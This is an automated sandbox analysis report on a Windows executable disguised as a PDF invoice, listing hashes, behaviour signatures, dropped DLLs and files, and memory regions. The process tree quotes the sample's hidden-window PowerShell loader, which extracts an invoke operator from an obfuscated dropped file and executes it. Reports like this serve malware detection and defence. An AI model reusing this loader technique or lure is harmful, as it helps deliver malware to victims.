Analysis

  • max time kernel
    147s
  • max time network
    258s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03-07-2024 23:01

General

  • Target

    Dropped Malware/faktura_7171503997·pdf.exe

  • Size

    648KB

  • MD5

    af7493a9e9ea9a5181ebc8ba0c3bb7bc

  • SHA1

    809de7c88d3a53a4ec803c37e232c12037c48911

  • SHA256

    a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb

  • SHA512

    214bef965ff2a8113c05fd371173c72fd94c36e9bfefc102858d2aab4c0f2c0f03773835405d1e489f5ce73243cb2b5b84d256a90d5cc5a8356dfce9b45b1226

  • SSDEEP

    6144:z9KOQS4B4GMSGJpFhsiivgUroam4nt5wf1CEH/+57/B0wU683FbyZc3q64drI1RJ:zsB4GOsPoamI4dCEm5750wUB3F+xxw

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Dropped Malware\faktura_7171503997·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Dropped Malware\faktura_7171503997·pdf.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Falmedes=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Indstningernes.Svi';$Almuten=$Falmedes.SubString(68669,3);.$Almuten($Falmedes)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:464
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 464 -s 2648
        3⤵
        • Program crash
        PID:2468
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 464 -ip 464
    1⤵
      PID:3376

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kso2kszx.s1r.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\nsz36AC.tmp\AdvSplash.dll

      Filesize

      6KB

      MD5

      6def2cf3daf850acdc1a3e7340a439c4

      SHA1

      95d0d26f60cd5af697502cd5e53a54913ab188fb

      SHA256

      3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

      SHA512

      16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

    • C:\Users\Admin\AppData\Local\Temp\nsz36AC.tmp\BgImage.dll

      Filesize

      7KB

      MD5

      2bb17d45e5ad92053ce1e500408dd8a9

      SHA1

      f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

      SHA256

      71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

      SHA512

      efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

    • C:\Users\Admin\AppData\Local\Temp\nsz36AC.tmp\UserInfo.dll

      Filesize

      4KB

      MD5

      8ef0e4eb7c89cdd2b552de746f5e2a53

      SHA1

      820f681e7cec409a02b194a487d1c8af1038acf0

      SHA256

      41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

      SHA512

      a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

    • C:\Users\Admin\AppData\Local\Temp\nsz36AC.tmp\nsExec.dll

      Filesize

      6KB

      MD5

      c129bc26a26be6f5816a03520bb37833

      SHA1

      18100042155f948301701744b131c516bf26ddb8

      SHA256

      d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

      SHA512

      dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

    • C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Indstningernes.Svi

      Filesize

      67KB

      MD5

      aa8fd270726e1b8912b67cfd401820dd

      SHA1

      2368c97236dcca147773e395eeca9501a805888c

      SHA256

      0f70c603d4b3a4aa5790a4caf3514dc0860b2203c7c2ef4aac1be3e40cef385a

      SHA512

      3aa23daa46c6d712bbff250fc38002fede249419f10cd2be909e20e095d7320d8f4792cf42009038cd95c7b448ea16a5d0c0fab1823e0fb8f28827827a55f299

    • C:\Users\Admin\Pictures\slukningen.lnk

      Filesize

      1KB

      MD5

      0246da67dafd8c5d778b7f473f3974c4

      SHA1

      d8a756d43441c3b50e71c56098700649ffd1bd6c

      SHA256

      b2e9240026d2dc26dffc4fcbf19df380b7d831c22134dcf364d8e273f680cc8f

      SHA512

      04f245c9747390dd08b84e402757d4f67b16ee98b2b58ab992d2dc063a197948da86141b26150afc43e5b66d0bc6afe50c9d909f3c39c3ee3eebdc89531c5969

    • memory/464-166-0x0000000074300000-0x0000000074AB1000-memory.dmp

      Filesize

      7.7MB

    • memory/464-169-0x0000000006920000-0x000000000696C000-memory.dmp

      Filesize

      304KB

    • memory/464-155-0x0000000005C40000-0x0000000005C62000-memory.dmp

      Filesize

      136KB

    • memory/464-157-0x00000000063D0000-0x0000000006436000-memory.dmp

      Filesize

      408KB

    • memory/464-156-0x0000000006360000-0x00000000063C6000-memory.dmp

      Filesize

      408KB

    • memory/464-153-0x0000000005CC0000-0x00000000062EA000-memory.dmp

      Filesize

      6.2MB

    • memory/464-152-0x0000000003440000-0x0000000003476000-memory.dmp

      Filesize

      216KB

    • memory/464-167-0x0000000006440000-0x0000000006797000-memory.dmp

      Filesize

      3.3MB

    • memory/464-168-0x00000000068F0000-0x000000000690E000-memory.dmp

      Filesize

      120KB

    • memory/464-154-0x0000000074300000-0x0000000074AB1000-memory.dmp

      Filesize

      7.7MB

    • memory/464-170-0x00000000078E0000-0x0000000007976000-memory.dmp

      Filesize

      600KB

    • memory/464-171-0x0000000006E40000-0x0000000006E5A000-memory.dmp

      Filesize

      104KB

    • memory/464-172-0x0000000006E90000-0x0000000006EB2000-memory.dmp

      Filesize

      136KB

    • memory/464-173-0x0000000007F30000-0x00000000084D6000-memory.dmp

      Filesize

      5.6MB

    • memory/464-151-0x000000007430E000-0x000000007430F000-memory.dmp

      Filesize

      4KB

    • memory/464-175-0x0000000008B60000-0x00000000091DA000-memory.dmp

      Filesize

      6.5MB

    • memory/464-177-0x0000000074300000-0x0000000074AB1000-memory.dmp

      Filesize

      7.7MB